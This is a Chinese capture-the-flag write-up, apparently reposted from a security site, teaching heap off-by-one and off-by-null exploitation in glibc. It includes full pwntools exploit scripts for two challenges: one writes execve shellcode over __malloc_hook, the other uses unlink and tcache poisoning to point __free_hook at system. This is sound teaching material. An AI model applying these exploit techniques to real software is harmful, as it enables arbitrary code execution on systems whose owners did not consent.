堆溢出 off by one & off by null

admin 2023年9月24日16:57:12评论7 views字数 9484阅读31分36秒阅读模式

简介

off-by-one是一种特殊的溢出漏洞,off-by-one指程序向缓冲区中写入时,写入的字节数超过了这个缓冲区本身所申请的字节数并且只越界了一个字节。这种漏洞的产生往往与边界验证不严和字符串操作有关,也不排除写入的size正好就只多了一个字节的情况。

一般认为,单字节溢出是难以利用的,但是因为Linux的堆管理机制ptmalloc验证的松散性,基于Linux堆的off-by-one漏洞利用起来并不复杂,并且威力强大。

off-by-one是可以基于各种缓冲区的,比如栈、bss段等等,但是堆上(heap based)的off-by-one是比较常见的。

漏洞成因

在程序设置循环读取时(例如C语言的for循环),由于对于循环次数的检查不够严格,导致读取溢出了一个字节

例如:

char a[16];
for(int i = 0;i<=16;i++)
{
read(0,a,1);
}

可以看出其实这个循环进行了17次,多向a中读入了一个字节,造成了溢出,攻击者可以通过这个漏洞达成许多攻击效果

利用姿势

1.通过溢出泄露数据

原理

这种方法主要与字符串函数有关,如printf函数的%s参数,通过将字符串末尾的‘x00’覆盖掉从而使其能够输出该字符串之后的内容,造成内存地址的泄露

例:

源代码:

#include<stdio.h>
#include<stdlib.h>

int main()
{
char a[16];
for(int i = 0;i<=16;i++)
{
read(0,a+i,1);
}
printf("%s",a);
return 0;
}

溢出了一个字节,此时当我们输入17个字符的垃圾数据后,我们便可以通过溢出的那个字节覆盖使printf能够泄露之后的数据

堆溢出 off by one & off by null

堆溢出 off by one & off by null

2.一字节溢出覆盖其他块数据

这种漏洞利用方式在堆中利用较多,具体利用如下:

知识点补充及利用

堆chunk的结构:

堆溢出 off by one & off by null

glibc的堆管理器只通过size域的数据来判断chunk的大小,对于size域被篡改的情况基本上无法防御只能傻傻地将这块chunk“延长”,这就给off by one构造了攻击条件。

在off by one的条件下通过一字节的溢出修改下一个堆块的size造成块结构之间出现重叠,即chunk overlap,以此可以达成另一种形式的UAF。

什么是chunk overlap
假设我们申请了三个堆块Chunk A Chunk B Chunk C
先释放chunkA,再释放chunkB,此时触发off by null修改chunkC的prev_inuse为前两个堆块大小的总和(包括chunk头)。接着释放chunkC,此时因为向后合并会获得一个大小为chunkA+chunkB+chunkC的堆块。由于chunkB其实并不是free的,接着再把chunkB申请回来,这是我们就可以对chunkB进行任意构造了。

[湖湘杯 2019]HackNote

ida

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
const char *v3; // rdi
int v4; // eax
__int64 v5; // rdx
int v6; // ecx
int v7; // r8d
int v8; // r9d
char v9[908]; // [rsp+20h] [rbp-390h] BYREF
int v10; // [rsp+3ACh] [rbp-4h]

init();
v3 = "Welcome to Hacker's Note";
writing("Welcome to Hacker's Note", argv);
while ( 1 )
{
while ( 1 )
{
menu(v3, argv);
v4 = shellcode();
v10 = v4;
if ( v4 != 2 )
break;
v3 = v9;
delete(v9);
}
if ( v4 > 2 )
{
if ( v4 == 3 )
{
v3 = v9;
edit(v9);
}
else
{
if ( v4 == 4 )
{
writing("see u ~", argv);
sub_40F090(0LL);
}
LABEL_13:
v3 = "Invaild choice!";
writing("Invaild choice!", argv);
}
}
else
{
if ( v4 != 1 )
goto LABEL_13;
v3 = v9;
add(v9, argv, v5, v6, v7, v8);
}
}
}
__int64 __fastcall add(__int64 a1, __int64 a2, __int64 a3, int a4, int a5, int a6)
{
__int64 v6; // rdx
__int64 v8; // rdx
unsigned int v9; // [rsp+14h] [rbp-1Ch]
int v10; // [rsp+18h] [rbp-18h]
int i; // [rsp+1Ch] [rbp-14h]

v10 = -1;
for ( i = 0; i <= 15; ++i )
{
v6 = 8 * (i + 16LL);
if ( !*(v6 + a1) )
{
v10 = i;
a2 = i;
sub_40FE90("You Get Index : %dn", i, v6, a4, a5, a6);
break;
}
}
if ( v10 == -1 )
{
writing("List Full !");
return 0LL;
}
else
{
writing("Input the Size:");
v9 = shellcode();
*(v8 + a1) = sub_41EA20(v9, a2, 8LL * v10);
if ( *(8LL * v10 + a1) )
{
*(a1 + 8 * (v10 + 16LL)) = v9;
writing("Input the Note:");
readfile(*(8LL * v10 + a1), v9);
writing("Add Done!");
}
else
{
writing("Allocation Failed !");
}
return 0LL;
}
}
__int64 __fastcall delete(__int64 a1)
{
signed int v2; // [rsp+1Ch] [rbp-4h]

writing("Input the Index of Note:");
v2 = shellcode();
if ( !sub_400B04(v2, a1) )
{
writing("Invaild !!");
}
else
{
*(8 * (v2 + 16LL) + a1) = 0LL;
sub_41EDC0(*(8LL * v2 + a1));
*(8LL * v2 + a1) = 0LL;
writing("Delete Done!");
}
return 0LL;
__int64 __fastcall edit(__int64 a1)
{
signed int v2; // [rsp+1Ch] [rbp-4h]

writing("Input the Index of Note:");
v2 = shellcode();
if ( !sub_400B04(v2, a1) )
{
writing("Invaild !!");
}
else
{
writing("Input the Note:");
readfile(*(8LL * v2 + a1), *(8 * (v2 + 16LL) + a1));
*(a1 + 8 * (v2 + 16LL)) = strlen(*(8LL * v2 + a1));//计算chunk内容的长度,会造成off by one
writing("Edit Done!");
}
return 0LL;
}

分析

静态编译的堆题 保护全关 没有 show 功能。

在 edit 功能中chunk 的 size 会根据 strlen 函数而修改,那么如果我们将下一个相邻的 chunk 的 prev size 填满,那么 strlen 计算的时候就会算上下一个相邻 chunk 的 size 头的8字节,就会造成 off by one 漏洞了。

过程

#first : off by one -> chunk overlap
add(0x18) #index 0
add(0x10) #index 1
add(0x30) #index 2
add(0x10) #index 3
add(0x30) #Index 4
edit(0, b'a'*0x18)
#off by one
edit(0, b'a'*0x18 + p8(0x61))
#dbg()

堆溢出 off by one & off by null

#fastbin attack
malloc_hook = 0x6CB788
free(4)
free(2)
free(1)
add(0x50, p64(0)*3 + p64(0x41) + p64(malloc_hook - 0x16))

堆溢出 off by one & off by null

改fd为malloc_hook

# change malloc_hook to shellcode
shellcode = b'x48x31xc0x50x48xbfx2fx62x69x6ex2fx2fx73x68x57x48x89xe7x48x31xd2x48x31xf6xb0x3bx0fx05'
add(0x30)
add(0x30, b'x00'*6 + p64(malloc_hook + 8) + shellcode)

堆溢出 off by one & off by null

改malloc_hook为shellcode,再add一次即可getshell

堆溢出 off by one & off by null

exp

from pwn import *

def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def get_addr() : return u64(p.recvuntil(b'x7f')[-6:].ljust(8, b'x00'))
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))


context(os='linux', arch='amd64', log_level='debug')
p = process('./hacknote')
elf = ELF('./hacknote')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def dbg():
gdb.attach(p)
pause()

def add(size, data = b'a'):
sla(b'4. Exitn-----------------n', b'1')
sla(b'Size:n', str(size))
sla(b'Note:n', data)
def free(idx):
sla(b'4. Exitn-----------------n', b'2')
sla(b'Note:n', str(idx))
def edit(idx, data):
sla(b'4. Exitn-----------------n', b'3')
sla(b'Note:n', str(idx))
sla(b'Note:n', data)

malloc_hook = 0x6CB788

# first : off by one -> chunk overlap

add(0x18) #index 0
add(0x10) #index 1
add(0x30) #index 2
add(0x10) #index 3
add(0x30) #Index 4
dbg()
edit(0, b'a'*0x18)
edit(0, b'a'*0x18 + p8(0x61))
dbg()
free(4)
free(2)
free(1)

# tow fastbin attack

add(0x50, p64(0)*3 + p64(0x41) + p64(malloc_hook - 0x16))

# change malloc_hook

dbg()
shellcode = b'x48x31xc0x50x48xbfx2fx62x69x6ex2fx2fx73x68x57x48x89xe7x48x31xd2x48x31xf6xb0x3bx0fx05'
add(0x30)
add(0x30, b'x00'*6 + p64(malloc_hook + 8) + shellcode)
dbg()
#gdb.attach(p, 'b *0x400bf8')
#pause()
sla(b'4. Exitn-----------------n', b'1')
sla(b'Size:n', str(0x10))

inter()

off by null

前置知识

off by null 本质上就是由于长度的检查不严谨导致了一个空字节的溢出造成的,通常我们会用它来构造Heap Overlap或是用来触发unlink。
这些的前提是对于堆块的合并有所了解。

向前合并与向后合并

向前合并
/* consolidate forward */
if (!nextinuse) {
unlink(av, nextchunk, bck, fwd);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);

向前合并的检查:当一个chunk被free时去检查其物理相邻后一个chunk(next chunk)的prev_inuse位,若为0则证明此块已被free,若不是则将其prev_inuse位清0,执行free操作之后返回。接下来要检查下一个chunk是不是top chunk 若是则和前一块合并,若不是则进入向前合并的流程。
向前合并流程:

让nextchunk进入unlink流程
给size加上nextsize(同理也是表示大小上两个chunk已经合并了)

向后合并
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

先检查当前堆块的prev_inuse位是否清零,若是则进入向后合并的流程:

先把前一个堆块的位置找到即p-p->prev_inuse
修改P -> size为P -> size + FD -> size(以此来表示size大小上已经合并)
让FD进入unlink函数

利用姿势

和off by one不同,off by null溢出的是NULL字节即'x00'

在 size 为 0x100 的时候,溢出 NULL 字节可以使得 prev_in_use 位被清,这样前块会被认为是 free 块。

  1. 修改下一个chunk的inuser位,来unlink

  2. 修改下一个chunk的size,来chunk overlap

一定要申请以0x100整数倍大小的堆块,例0xf8,这样可以正好写到下一个chunk的prev_inuse位。

堆溢出 off by one & off by null

[巅峰极客 2022] samllcontainer

ida

int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

init(argc, argv, envp);
while ( 1 )
{
menu();
v4 = (int)retnum();
if ( v4 == 5 )
break;
if ( v4 > 5 )
goto LABEL_13;
switch ( v4 )
{
case 4uLL:
show();
break;
case 3uLL:
edit();
break;
case 1uLL:
add();
break;
case 2uLL:
delete();
break;
default:
LABEL_13:
puts("Invalid choice.");
break;
}
}
puts("Goodbye!");
return 0;
}
size_t add()
{
size_t result; // rax
int i; // [rsp+4h] [rbp-Ch]
size_t size; // [rsp+8h] [rbp-8h]

for ( i = 0; ; ++i )
{
if ( i > 16 )
exit(0);
if ( !heappp[i] || !sizeee[i] )
break;
}
printf("Input size: ");
size = (int)retnum();
if ( size <= 0xFF || size > 0x3FF )
exit(0);
heappp[i] = malloc(size);
result = size;
sizeee[i] = size;
return result;
}
QWORD *delete()
{
_QWORD *result; // rax
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

printf("Input index: ");
v1 = (int)retnum();
if ( v1 > 0x10 || !heappp[v1] || !sizeee[v1] )
exit(0);
free((void *)heappp[v1]);
heappp[v1] = 0LL;
result = sizeee;
sizeee[v1] = 0LL;
return result;
}
__int64 edit()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

printf("Input index: ");
v1 = (int)retnum();
if ( v1 > 0x10 || !heappp[v1] || !sizeee[v1] )
exit(0);
read(0, (void *)heappp[v1], sizeee[v1]);
return check((_BYTE *)heappp[v1]);
}
int show()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

printf("Input index: ");
v1 = (int)retnum();
if ( v1 > 0x10 || !heappp[v1] || !sizeee[v1] )
exit(0);
return printf("%lx", *(_QWORD *)heappp[v1]);
}

分析

两次利用off by null修改size域和prev_inuse位实现chunk overlap和unlink绕过

过程

for i in range(8):
add(0x250) #0 ~ 7
for i in range(7, -1, -1):
free(i)
for i in range(7):
add(0x250) #0 ~ 6
add(0x120) #7
show(7)
libc_base = int(p.recv(12), 16) - 0x2c0 - libc.sym['__malloc_hook']
print(' libc_base : ', hex(libc_base))

先泄露出libc基址

堆溢出 off by one & off by null

# off by null -> chunk overlap
add(0x120) #index 8
for i in range(9):
free(i)

for i in range(7):
add(0x1f0) #0 ~ 6
add(0x1f0) #7
add(0x108) #8
add(0x200) #9
add(0x108) #10
add(0x108) #11

for i in range(7):
free(i) #index 0 ~ 6
free(7)

edit(8, b'x11'*0x108)
edit(8, b'x11'*0x100 + p16(0x310))
edit(9, b'x00'*0x1f8 + p64(0x121))

free(9) # unlink attack

堆溢出 off by one & off by null

利用off by null填满tcachebin

free(11)
free(8)
add(0x300) #0
edit(0, b'x00'*0x200 + p64(free_hook - 8))
add(0x108) #1
add(0x108) #2
edit(2, p64(0) + p64(system)

堆溢出 off by one & off by null

改freehook为system

接下来free一个填入了'bin/sh'的堆块即可getshell

堆溢出 off by one & off by null

exp

from pwn import*

context(os='linux', arch='amd64', log_level='debug')

def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def get_addr() : return u64(p.recvuntil(b'x7f')[-6:].ljust(8, b'x00'))
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))


p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc-2.27.so')
def dbg():
gdb.attach(p)
pause()
def add(size):
sla(b'> ', b'1')
sla(b'size: ', str(size))
def free(idx):
sla(b'> ', b'2')
sla(b'index: ', str(idx))
def edit(idx, data):
sla(b'> ', b'3')
sla(b'index: ', str(idx))
s(data)
def show(idx):
sla(b'> ', b'4')
sla(b'index: ', str(idx))


# leak libc_base

for i in range(8):
add(0x250) #0 ~ 7
for i in range(7, -1, -1):
free(i)
for i in range(7):
add(0x250) #index 0 ~ 6
add(0x120) #7
show(7)
libc_base = int(p.recv(12), 16) - 0x2c0 - libc.sym['__malloc_hook']
print(' libc_base : ', hex(libc_base))
dbg()

# off by null -> chunk overlap

add(0x120) #index 8
for i in range(9):
free(i)

for i in range(7):
add(0x1f0) #0 ~ 6
add(0x1f0) #7
add(0x108) #8
add(0x200) #9
add(0x108) #10
add(0x108) #11

for i in range(7):
free(i) #index 0 ~ 6
free(7)

edit(8, b'x11'*0x108)
edit(8, b'x11'*0x100 + p16(0x310))
edit(9, b'x00'*0x1f8 + p64(0x121))#change prev_inuse

free(9) # unlink attack
dbg()

# free_hook -> system

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
free(11)
free(8)
add(0x300) #0
edit(0, b'x00'*0x200 + p64(free_hook - 8))
add(0x108) #1
add(0x108) #2
edit(2, p64(0) + p64(system))
dbg()
edit(1, b'/bin/shx00')
free(1)
inter()

来源:【https://xz.aliyun.com/】,感谢【rdp 】

原文始发于微信公众号(衡阳信安):堆溢出 off by one & off by null

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年9月24日16:57:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   堆溢出 off by one & off by nullhttps://cn-sec.com/archives/2063549.html

发表评论

匿名网友 填写信息